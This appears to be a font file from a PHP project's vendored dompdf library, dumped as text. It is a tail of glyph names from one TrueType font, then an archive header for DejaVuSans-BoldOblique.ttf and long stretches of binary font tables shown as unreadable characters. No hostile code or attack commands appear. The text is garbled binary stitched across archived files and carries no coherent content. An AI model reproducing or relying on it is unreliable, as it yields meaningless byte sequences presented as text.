notelementuni220Asuchthatuni220Cuni220Duni220Euni2210uni2213uni2215asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2223
logicaland	logicalorintersectionunionuni222Cuni222D	thereforeuni2235uni2236uni2237uni2238uni2239uni223Auni223Bsimilaruni223Duni2241uni2242uni2243uni2244	congruentuni2246uni2247uni2249uni224Auni224Buni224Cuni224Duni224Euni224Funi2250uni2251uni2252uni2253uni2254uni2255uni2256uni2257uni2258uni2259uni225Auni225Buni225Cuni225Duni225Euni225Fequivalenceuni2262uni2263uni2266uni2267uni2268uni2269uni226Duni226Euni226Funi2270uni2271uni2272uni2273uni2274uni2275uni2276uni2277uni2278uni2279uni227Auni227Buni227Cuni227Duni227Euni227Funi2280uni2281propersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni2288uni2289uni228Auni228Buni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22B2uni22B3uni22B4uni22B5uni22B8uni22C2uni22C3uni22C4dotmathuni22C6uni22CDuni22CEuni22CFuni22D0uni22D1uni22DAuni22DBuni22DCuni22DDuni22DEuni22DFuni22E0uni22E1uni22E2uni22E3uni22E4uni22E5uni22E6uni22E7uni22E8uni22E9uni22EFuni2300uni2301houseuni2303uni2304uni2305uni2306uni2308uni2309uni230Auni230Buni230Cuni230Duni230Euni230F
revlogicalnotuni2311uni2312uni2313uni2314uni2315uni2318uni2319uni231Cuni231Duni231Euni231F
integraltp
integralbtuni2325uni2326uni2327uni2328uni232Buni2335uni2336uni2337uni2338uni2339uni233Auni233Buni233Cuni233Duni233Euni233Funi2340uni2341uni2342uni2343uni2344uni2345uni2346uni2347uni2348uni2349uni234Auni234Buni234Cuni234Duni234Euni234Funi2350uni2351uni2352uni2353uni2354uni2355uni2356uni2357uni2358uni2359uni235Auni235Buni235Cuni235Duni235Euni235Funi2360uni2361uni2362uni2363uni2364uni2365uni2366uni2367uni2368uni2369uni236Auni236Buni236Cuni236Duni236Euni236Funi2370uni2371uni2372uni2373uni2374uni2375uni2376uni2377uni2378uni2379uni237Auni237Duni2380uni2381uni2382uni2383uni2388uni2389uni238Auni238Buni2395uni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CEuni23CFuni2423SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2601uni2602uni2603uni2604uni2605uni2606uni2607uni2608uni2609uni260Auni260Buni260Cuni260Duni260Euni260Funi2610uni2611uni2612uni2613uni2614uni2615uni2616uni2617uni2618uni2619uni261Auni261Buni261Cuni261Duni261Euni261Funi2620uni2621uni2622uni2623uni2624uni2625uni2626uni2627uni2628uni2629uni262Auni262Buni262Cuni262Duni262Euni262Funi2638uni2639	smilefaceinvsmilefacesununi263Duni263Euni263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647uni2648uni2649uni264Auni264Buni264Cuni264Duni264Euni264Funi2650uni2651uni2652uni2653uni2654uni2655uni2656uni2657uni2658uni2659uni265Auni265Buni265Cuni265Duni265Euni265Fspadeuni2661uni2662clubuni2664heartdiamonduni2667uni2668uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi2670uni2671uni2672uni2673uni2674uni2675uni2676uni2677uni2678uni2679uni267Auni267Buni267Cuni267Duni267Euni267Funi2680uni2681uni2682uni2683uni2684uni2685uni2686uni2687uni2688uni2689uni268Auni268Buni2690uni2691uni2692uni2693uni2694uni2695uni2696uni2697uni2698uni2699uni269Auni269Buni269Cuni26A0uni26A1uni26B0uni26B1uni2701uni2702uni2703uni2704uni2706uni2707uni2708uni2709uni270Cuni270Duni270Euni270Funi2710uni2711uni2712uni2713uni2714uni2715uni2716uni2717uni2718uni2719uni271Auni271Buni271Cuni271Duni271Euni271Funi2720uni2721uni2722uni2723uni2724uni2725uni2726uni2727uni2729uni272Auni272Buni272Cuni272Duni272Euni272Funi2730uni2731uni2732uni2733uni2734uni2735uni2736uni2737uni2738uni2739uni273Auni273Buni273Cuni273Duni273Euni273Funi2740uni2741uni2742uni2743uni2744uni2745uni2746uni2747uni2748uni2749uni274Auni274Buni274Duni274Funi2750uni2751uni2752uni2756uni2758uni2759uni275Auni275Buni275Cuni275Duni275Euni2761uni2762uni2763uni2764uni2765uni2766uni2767uni2768uni2769uni276Auni276Buni276Cuni276Duni276Euni276Funi2770uni2771uni2772uni2773uni2774uni2775uni2794uni2798uni2799uni279Auni279Buni279Cuni279Duni279Euni279Funi27A0uni27A1uni27A2uni27A3uni27A4uni27A5uni27A6uni27A7uni27A8uni27A9uni27AAuni27ABuni27ACuni27ADuni27AEuni27AFuni27B1uni27B2uni27B3uni27B4uni27B5uni27B6uni27B7uni27B8uni27B9uni27BAuni27BBuni27BCuni27BDuni27BEuni27C2uni27C5uni27C6uni27DCuni27E0uni27E6uni27E7uni27E8uni27E9uni27EAuni27EBuni27F5uni27F6uni27F7uni2987uni2988uni2997uni2998uni29EBuni29FAuni29FBuni2A00uni2A2Funi2A6Auni2A6Buni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2C64uni2C6Duni2C6Euni2C6Funi2C70uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Cuni2C7Duni2C7Euni2C7Funi2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2EuniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA722uniA723uniA724uniA725uniA726uniA727uniA789uniA78AuniA78BuniA78CuniA78DuniA78EuniA790uniA791uniA7AAuniA7F8uniA7F9uniF6C5uniFB52uniFB53uniFB54uniFB55uniFB56uniFB57uniFB58uniFB59uniFB5AuniFB5BuniFB5CuniFB5DuniFB5EuniFB5FuniFB60uniFB61uniFB62uniFB63uniFB64uniFB65uniFB66uniFB67uniFB68uniFB69uniFB6AuniFB6BuniFB6CuniFB6DuniFB6EuniFB6FuniFB70uniFB71uniFB72uniFB73uniFB74uniFB75uniFB76uniFB77uniFB78uniFB79uniFB7AuniFB7BuniFB7CuniFB7DuniFB7EuniFB7FuniFB80uniFB81uniFB8AuniFB8BuniFB8CuniFB8DuniFB8EuniFB8FuniFB90uniFB91uniFB92uniFB93uniFB94uniFB95uniFB9EuniFB9FuniFBAAuniFBABuniFBACuniFBADuniFBE8uniFBE9uniFBFCuniFBFDuniFBFEuniFBFFuniFE70uniFE71uniFE72uniFE73uniFE74uniFE76uniFE77uniFE78uniFE79uniFE7AuniFE7BuniFE7CuniFE7DuniFE7EuniFE7FuniFE80uniFE81uniFE82uniFE83uniFE84uniFE85uniFE86uniFE87uniFE88uniFE89uniFE8AuniFE8BuniFE8CuniFE8DuniFE8EuniFE8FuniFE90uniFE91uniFE92uniFE93uniFE94uniFE95uniFE96uniFE97uniFE98uniFE99uniFE9AuniFE9BuniFE9CuniFE9DuniFE9EuniFE9FuniFEA0uniFEA1uniFEA2uniFEA3uniFEA4uniFEA5uniFEA6uniFEA7uniFEA8uniFEA9uniFEAAuniFEABuniFEACuniFEADuniFEAEuniFEAFuniFEB0uniFEB1uniFEB2uniFEB3uniFEB4uniFEB5uniFEB6uniFEB7uniFEB8uniFEB9uniFEBAuniFEBBuniFEBCuniFEBDuniFEBEuniFEBFuniFEC0uniFEC1uniFEC2uniFEC3uniFEC4uniFEC5uniFEC6uniFEC7uniFEC8uniFEC9uniFECAuniFECBuniFECCuniFECDuniFECEuniFECFuniFED0uniFED1uniFED2uniFED3uniFED4uniFED5uniFED6uniFED7uniFED8uniFED9uniFEDAuniFEDBuniFEDCuniFEDDuniFEDEuniFEDFuniFEE0uniFEE1uniFEE2uniFEE3uniFEE4uniFEE5uniFEE6uniFEE7uniFEE8uniFEE9uniFEEAuniFEEBuniFEECuniFEEDuniFEEEuniFEEFuniFEF0uniFEF1uniFEF2uniFEF3uniFEF4uniFEF5uniFEF6uniFEF7uniFEF8uniFEF9uniFEFAuniFEFBuniFEFCuniFEFFuniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu1D55Au1D670u1D671u1D672u1D673u1D674u1D675u1D676u1D677u1D678u1D679u1D67Au1D67Bu1D67Cu1D67Du1D67Eu1D67Fu1D680u1D681u1D682u1D683u1D684u1D685u1D686u1D687u1D688u1D689u1D68Au1D68Bu1D68Cu1D68Du1D68Eu1D68Fu1D690u1D691u1D692u1D693u1D694u1D695u1D696u1D697u1D698u1D699u1D69Au1D69Bu1D69Cu1D69Du1D69Eu1D69Fu1D6A0u1D6A1u1D6A2u1D6A3u1D7F6u1D7F7u1D7F8u1D7F9u1D7FAu1D7FBu1D7FCu1D7FDu1D7FEu1D7FF	dlLtcaron	DiaeresisAcuteTildeGrave
CircumflexCaron
fractionslashuni0311.caseuni0306.caseuni0307.caseuni030B.caseuni030F.casethinquestionuni0304.caseunderbar
underbar.wideunderbar.smalljotdiaeresis.symbols
arabic_dotarabic_2dotsarabic_3dotsuni066E.finauni06A1.inituni06A1.mediuni066F.finauni06A1.finaarabic_3dots_aarabic_2dots_aarabic_4dotsarabic_gaf_bararabic_gaf_bar_aarabic_ringEng.altuni066Euni066Funi067Cuni067Duni0681uni0682uni0685uni0692uni06A1uni06B5uni06BAuni06C6uni06CEuni06D5exclamdown.casequestiondown.caseuni2E18.case����]A��������
��GA%
}%2
�	��%�%�@Y����}�����2���}���������Y������&�Y�@�&��/��/���2����G���@��G��d��d�������k������ߖ������ږ���؍��}�:Ս�:���
��
��ϊ���̖ˋ%���}���Ś
����������������]������%�]�@�%������A����A����
���d�d������@�����������2����(���-�}�-���������d�����
����
���
��.���.��A���������]������%�]�@������%���%��%�A������%�d���%�����������������B�S���x~}�~}}|�{z�w�v�utuu�@�tt�ss@r�q�p�onSo�nm(nSm(l�k2j�i2h�g�f�e�d�cbc�bba�`�_�^Z^]d\�[Z[ZY�XW�V�UU2T�S�R�Q}P�ON�M-M�L�K(JIJ7ICIHEH�GCGdFEF�EDCD7CBCC�@@	BABB�@	A@AA��@	@?@@��@	?	??�@@d>�=-=�<�;(:�9B9d818K7�6-6�5K404K303�2B2�1-10/-/.	.�-,--��@	,,,�@@�+*%+�*	*%):)�(�'�&%B%E$#�""�! -!} -KB������BF-B-B�-B�@	��@	
��@	
	

�@�	�@7�
	
�	�-�:�-:-�d��++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/DejaVuSans-BoldOblique.ttf000066600002350334151150442760017426 0ustar000FFTMs���<GDEF_�`X�GPOS�b� V�GSUBz�Y��OS/2��h<Vcmap�4�h�Fcvt s�{��fpgm���}��gasp~,glyf&ī~8l�head.���6hhea�O�$hmtx�˙��<T�kern��?�-locaD��@l�T�maxp�-�� name�&3��=�post��f��L�$prep|餖	�pk�=����)��)��F�����������������������	



  !%&&'deefghopvw|}�
&
'
'
(
1
2
4
5
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�}~����������������������$
�DFLTzarab�armn�brai�cans�cher�cyrl�geor�grek�hani�hebrkanalao latn.mathnnko zogam�runr�tfng�thai�������������MKD SRB ��������������4ISM 4KSM 4LSM 4MOL 4NSM 4ROM 4SKS 4SSM 4��������������kern,kern2mark:markDmarkJmkmkRmkmkX
	
 (2:BJRZltd�$�ff

Fz
�4�|&�?DS�$����olm
����N>X &,�}�a��h��k��j��}ehijknw| &,28�����������|��~������(.4:@FLRX^djpv|�����������������8�M�����o�����������������%��������������������������������������BHNTZ`flrx~������1�1�2�;�;�1�2�:�;�;�2�:�y�9�2�28��8rx~��������������������� &,28>DJPV\bhntz�������������f��f��f�v�v�v�|B�v�v�.�����f��f��������f���{B������v���>�>�5��7��6���:pj^^pj�����#f�#f�����v�v��������������������������������������������	!
�
�'��.��/��07������������
�
�%��,78�����$*06<BHNTZ`flrx~��������������������� &,�7{�7{�7{�F��I��I��@��8��L���{�.{�7{�7{�7{�7{�7{�@��@��������7{�7{�F��x��������{��{��{�"��{��������������{��{���������L��L����e{�e{�e{�e{�e{�e{�e{�e{�e{�e{�e{�0{���06<BHNTZ`flrx~������������0T0�00z0�0<0���0�0�0n0+0<0�[0m�	0��~01 '-/35578
:;=A���0�$>DJPV\bhntz��������������������\���Hq��&~�������0�]��t�w��???'D&28>DJPV\dlrx�������ZZ���0&8�^�^Y_(2; �
9`�`�<BHNTZ`flrx~�����������������������@�P[��~nQ�����y��`���W��|�'�UHJLbpp��lmo�����r�0>DJPV\bhntz��������������������V�bfn�el��z�?�?����c_�[�>����?���]�\�Z���C��C�m���J����Hb����ehijknwxyz{|28>DJPV\bhnt��t��b��b��b��b��t��w��~��~��~��~��T����06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�����'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'�'���'�'�'�'�'�'�'�'�'�'�'�������������������������������'�'�'�'�������������'�'�����������������������������'�'�'�'�'�'�'�'�'�'�'�'�'�������o���'�'�'$=D]��4��5��6��8��:();AA=HH>QR?YYAaaBy{CFGHI**J77KTTLM��NO��Y��\��^_��a��c��g��s����
�!����!!���
'�'�4�:<BHNTZ`flrx~�����������������h�e���S66_TO��F��T_s�S$�R�LT��RO$(,28<=DHLRX\]���Yayz{*7T����zv^~
"(.4:@FLTT keUyka�
R�����-��
�7{�7{�N�(RX^djpv|���������������������$*06<�z�����S�El����������������S$�R�LH��T��R���O�($'(+012=DGHKLPQ]����HQRYayz{*7T��������.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������		
				"	(	.	4	:	@	F	L	R	X	^	d	j	p	v	|	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�






$
*
0
6
<
B
H
N
T
Z
`
f
l
r
x
~
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|��������8888888888���x!�����R�=i����6.)����TSM&pEl�"�R"���R#��:T?�R?�R���j/E&�R���A�R-T����xER�M�)����������RS$�RQ�
�R���!m��R��RA�R6�T�R�MM&L{�REHHH�����R��R%�RP��R*>�R#��R�������R(�R���R��R�R�RT�Op�R��
���R�R�F���R��R�R�R��R��R�RL>g/E����R���R��R,#,��R��#V��R���R,#���R�w�R7a�R���R������T#�T/#p$$��M�^TL776�Y/E�/��RxE#�M�M.������o��s��s����R����Y$�R6f��i�R�#>��R��}�~�R�s*==�M��>�>r���=�R�-�C'��T��Q1�R��R��Rh�R�R��V���O���������R�#�������R��R��R�:�R�Ru�R�:"�R�#�:6�.�*"����*i��	>������R��+f��QT�����R�����~Z�S����R�����������R��|�RV$=
D]$��>��?��A��B��C��E��G��H��IJ()KAAMHHNQROYZQaaSvvTy{U��X��Y��Z\
gcik�mm��JJ�����������44�}~�pp�sx�{{�}���������������		�
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
�
�
�
�
�
�
�
�
�
�
�����������#&��(��*��.��0��<L!PPQfSdhijzmm|oq}tu�w|���������������!!�	������	��
������!"#�������������������$*06<BHNTZ���1�1�2�;���;���0���������2������:��;�;���������2���:�y��4�9�4�4�9�1���2�����U��������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������						 	&	,	2	8	>	D	J	P	V	\	b	h	n	t	z	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�






"
(
.
4
:
@
F
L
R
X
^
d
j
p
v
|
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������





"
(
.
4
:
@
F
L
R
X
^
d
j
p
v
|
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�$,28>DJRX^dlrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������
"(.4:@FLRX^djpv|��������`�`�`�`�`�`�`�`�`�`�����4�����H�9����6�����4������z�V�P���������}�|�{&�5{�?{��9{&�"/@/�����{){{r{r{�{�{&�5{{,{{!{�{���{s{T�{��{�y����{,{�{P�&����������/{���H�����D����2���	���-����V��{Q���&����x�/{c��{|���Y{!����5��{������H�L{�&/=�z��{}�2{~{{{��y{5{���5{5{5{�{}{}{�{�{u�W{/{/{	{q{����/�{�{�������{�{�{C{C{�{{�{.{���{���{�{�{�{4{�{�{�{�G�G{6��{Q�+{{F{{${%��{�{�{�{�{S�J�S�s����{�{J�5{'/u{�{��S�J��������{����6��{��y{R��{��Q��{{X��{{R�s{Z{6{�{{�{/{�{�{e�e����{s`�{��&�V��6��������H�b���{�`�����`�����������4�P����������������������W���{d��{�{�{?{w{�{={H{�{�{3{{3{r{5{�{!{��{R{{�{�{�{{'{�{�{�{'{�{"/"/���{���{W��{���{��3{������3{��&{K{���{�d{��H{������v{�h����3{��{�{�{�{2�Z{��H{�{{�{{O{{��{�{,{�{={3{+{{{{�{8{{${�{{�{<�%�T�U{�{K{��������������#���������������Y�${6�f�
����i�������D>�����R������}1�{~{��s����	������,{ �
��'�����{������{��!{{��3{�{��3{�{�������{;��{W��{�{�{��{���{6��{6��{����D��{�{���{t��{��{{���{���{!��{������o���C��{6��{��K{r�{��E{���{��B{����4�){9�9{���4�){z��{V��{Q����{8�Q���8���	�>���������������+�f�����Q��T�����{���{�����{�{�{�{Z{*�{S{�{�{�{�{����������������4��{�{�����{�{�{
�v{P{�{z{5{z$=
D]$��>��?��A��B��C��E��F��H��IJ()KACMHJPLLSORTTUXX]Z__`aaaffbijcmpet{i��q��r��s��tv
g}ik�mm��FK�MS�UV�X^�ef�jk�pp�xx�����������������'��=��A�I
K$$Q+,R/7TAA]\\^}~_��a��c��d��e��h��jppkrxl{{s}�t��{��}����������������		�
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
������������������������������������!PQSdij1mm3oq4tu7w|9��?��A��F��GJ		L
MOP!!T��������!#$)
�
�/��6AB
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~����7{�7{�7{�7{�7{�7{�7{�'|�7{��{�7{�7{�7{�7{�7{�7{�7{�7{�{��r�r��{�*r��{�7{�7{�7{�r�_{��{��{��{��{��{�{��{�{�{�z{�X{��{��{��{��{��{��{��{��{��{��{��{�7{�7{��{�e{�e{�e{�e{�e{�e{�e{�e{�e{�e{�e{�0{���&2���k���2����&&&�����<���u������������k�����<�<��������k�h�h��������������&�a�a�����D���<������a�a��<�D�a����a��<�D��<�<��������}�}�����������2����N��&&��������N����������������&�������k�����D�}��������9�a&�a&&&���D�������}��������������a/�
��������
������/���������k�����u���a�k���k�k��k�������N���N�����u�}�������
�����}����������N�<�����
��������������k�k��������V����������V&�Y�Y�}�}�a�D����&��������������������a�������������������������&K���<����a�<����&��I$$%%&&''))**..//	22
334455
66778899::;;<<==DDIINNUUYYZZ\\����������
����������������������������������	��	 

  ""&&''!00"::??}}#	�	�

#

$

%
	
	$������|$$&&--2266	77
8899::
;;<<DDFFGGHHLLOORRUUVVWWXXYYZZ\\�������������������������������� ��!�� ��!�� ��!����������������"��"��"��"��"""#$%%  	!!""	##$$&%%&&'''**(++),,(--)..(//)00*1122(33)44(55)66+77(88,99-::��!����"����"��%��&������"��,��-��+��(��+��(��+��(��,��-

.

/

0
	
	1Y$%&')*./23456789:;<=DINUYZ\��������������������������������������� "&'0:?}	�



	���`$X�������x#;#')-/3
59
0DFLTzarab�armn�brai�cans�cher�cyrl�georgrekhani hebr,kana>lao JlatnVmath�nko �ogam�runrtfngthai��KUR SND URD ������	������MKD SRB ����������������FCAT ZESP ZGAL ZISM bKSM bLSM bMOL vNSM bROM vSKS bSSM b��

����

��

������������aalttaaltzaalt�case�ccmp�ccmp�ccmp�ccmp�dlig�dlig�dlig�hlig�hlig�liga�locl�locl�salt�salt�salt�	

:BJdlt|����������������$�>
��V�^��0x�����
N^n			
	(	F	\	�	�	�	�





"
4  B9&&99���89LM�*_������������������������������������3�
�
�
�
�
�
�h$=EEGGIIKKLMNOWW�����������������������������������������������������		  ""$$&&((**,,..0022446688:;==??AAHHRRTTVVyz����������������������**__��������������������������33��
�
�
�
�&&$$4F������$$4F���$$4F���$$4F���$$4F������(0���#&.6���'')+.6���,-/0.6���1355(0���69
��0D���6"(�IO�IL�OL~II�3'B8	
�������������WV�WA�(:FPZfr
4"
'
3
2"
�$;
�V
�0
�(/
�F
�X
�R")567DF
k 
k hgiefkj$:@GMU[hgiefkj$:@GMU[�,-DO*"&!�,-DO\
T9����������������������� 
��	!�����


LM�*_���3�
�
�{��������������;;;;;��"#$c�)��3�63��E�f��R��
$ ! PfEd! ����m�`��,
�<,
�h��~����OSXZbw���%V_������?��������������������5JR��>Pj�����Gv#.[jx{}����EMWY[]}������� d q � � � � � � � � �!	!I!K!N!�!�###!#(#,#u#z#}#�#�#�#�#�#�#�$#$i&�&�&�&�''	'''K'M'R'V'^'�'�'�'�'�'�(�)))A)�)�)�)�***/*k*�*�*�++$+T,w,-%...%..M����G�M�Q�W�n���������+�A�K�S�W�g������������&�A����O��#���� ����QWZ\pz����1Ya�����?��������������������	7LT��@Rt����Fn&0]w{}��� HPY[]_�������  j t � � � � � � � �!!!K!N!P!�!�###$#+#s#z#}#�#�#�#�#�#�#�$"$`%&�&�&�'''')'M'O'V'X'a'�'�'�'�'�'�))
)@)�)�)�)�***/*j*}*�*�+++S,`,y-..."..M��ЦD�L�P�T�b���������"�0�F�N�V�d�������������(������ �������������������������������������������a�_�W�R�������������������������������������������������������������������p�o�m�l�k�_�]�\�U�@�<���������������������������������������������������������A�=�;�2�&� ���������v��������������������m�h�d�^�\�(�����{�w�n�\�"�������������	��pl�k\kXkVkTkJk/k)k'j�j�j�j�j�j�j�j�j�j~j}joj"#"<;�~rm���
�� ~��b���������O�QSWXZZ\bpwz����#��$�%81V�Y_�a��������%��'��B??G��H��J��K��M��N��O��S��Z��]��^��_��a��n��q��v��w��}����������	�5�7JLR#T�*�����>�@P
Rjt�4��F��S��c��dFGenvgp#�&.�0[�]j�wx�{{�}}����������		 E	HM	DPW	JYY	R[[	S]]	T_}	U��	t��	���	���	���	���	���	�  d	� j q
P t �
X � �
s � �
� � �
� � �
� � �
� � �
� � �
� � �
�!!	
�!!I
�!K!K
�!N!N
�!P!�
�!�!�"!�####�##!�#$#(�#+#,�#s#u�#z#z�#}#}�#�#��#�#��#�#��#�#��#�#��#�#��#�#��$"$#�$`$i�%&��&�&�}&�&��&�&��''�''	�'''�')'K�'M'M�'O'R�'V'V�'X'^�'a'��'�'�%'�'�='�'�K'�'�M'�'�N'�(�T))d)
)f)@)Ah)�)�j)�)�l)�)�t)�)�u**w**z*/*/�*j*k�*}*��*�*��*�*��++�++$�+S+T�,`,w�,y,�--%..)..*.".%+..../M�M�0����p�D�G��L�M��P�Q��T�W��b�n�����������������������"�+��0�A��F�K��N�S��V�W��d�g�������������
����������"��&<�(�Ac����}��~�����O����� �#������� #���V��8�9P�;�>R�@�DV�F�F[�J�P\�R�kc�<�o}א���������0����Y��h���v���������-�.��1�1��5�5���#��%�+��-�@��C�C�
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������
rdei

x�pk
�vj����s��gw���U�l|>���cn�T��m}
b���	�	�



�
��:
/
�
$
%�
y

	
������������������q���z���#/f3f��=�;+ffT��}�f���+��\9�//u��������LfL��DD��;����P��w
/X�#��/55�3��Xf��s���+�����j-����j���!f����#^�`�����3B3\��fy```{������j\{�������X������P�����L`��%�!J�J�7{��������}3��X�y9�b����s�, �%Id�@QX �Y!-,�%Id�@QX �Y!-,  �P�
y ���PXY��%�%#� �P�
y ���PXY��%�-,KPX ��EDY!-,�%E`D-,KSX�%�%EDY!!-,ED-��f��f�@��Q/���1����0!%!!f�s����r)��	Y@.			:UTS	
����991/��0KSX����9Y"!!!!�iq���lhE����^������h�@VS����1�<�20###h�����+��+�=�P@6	ZZ
W
	
 ��91/<�2�<<�22�<<�220!!!3!!!!#!#!7!!7!��F+`a�a)5��E)6��`�`��`�`��5F��5`h��h������������7��
!(/v@C#
")^]	^][*	[!*)#"&-
	
!&-&
-
&

0����9999991/<��2������9990#.'.54$%73.'>54&T�;�]1`�x=ҿ+�,�+e�X1?�w9����3TdA�7ckI��-+&7=7���	��"�%/��$���	DQ=07����VK39q����'3M@+e.e"a(eea`d4+%		1+%4������991�2�<�����0"32654&'2#"&54#3!2#"&54"32654&Vo=>Wn? ����֝�	�����k����֝��Vn==Wn?h��WW��UW����ꭍ���
���ꪍ����XY��TX9����&0@[	


0'0%&$''0:0'-	-iYf!gd`	'*$	*0$*
1������999991/�����99990KSX�9�9�9�Y"�]@`	*9KK'[\'bmn'
&0'
'+'+0;';0III
HH'J0ZZ\
\\\#X'honki
il0$]]	>7!!'#"$5467.54$32.#"3267m)>Z7+�x�JTv�{��ֿ�.�[�e5W�OVd<�PS�r<v;���?�s���p��jDC�Ǘ�r,Z0����0.H=&u�3�Lk�**����@
VS��1��0#����+����
 @lk��9991��0!&5!
\��NM�"��6��?�'M)����ϖ������
@lk����91��0!!4+%ML������6���������6`2�))9�F@(

	
md
		
�<�2�<�2991��2��290
%#'-73%��JL�����LN��LN�M�������X������X�����"@o	n
�<�<�1/�<�<�0!!#!5!�
���
����������5@:pT���1��0KSX��9Y"!#�h;��ծ����u3���@
rq��991��0!!mt9����^�/@:T���91/�0KSX��Y"!!�hK����}�;�By�.@:S���91��0KSX��Y"3#����mJ��H�)"@ss'd`*	!*����1����0%267>7>54&#"#"476$32dMw(.PTNv'1R8nce����mbg���\Y?�nY�5piY[A�bZ�5ok�������y�����X��
t@-
	:uuSu		

����991/�2����0KSX��9Y"K�
TK�T[X���@878Y!%!!!�T���3in�R3��
�HH�5���|@):Xsdv���999991/�����990KSX�9�Y"K�
TK�T[K�
T[X���@878Y�]!!>54&#"6$32��7��8{hmpe_�@���������P�MRZKN=21������(i@,s	^
x
s ^xsw#d`)
 	&	/����9991���������90K�TK�
T[X�)��))@878Y!"&'32654&+732654&#">32�q~�w����h9Y�i�Ŗ��1���yU�l7v�p���%�s���%%)49kYY�raLP,*  �������
�@;


			
		:uS	
		���991/��<�290KSX������Y"K�
TK�T[K�T[K�
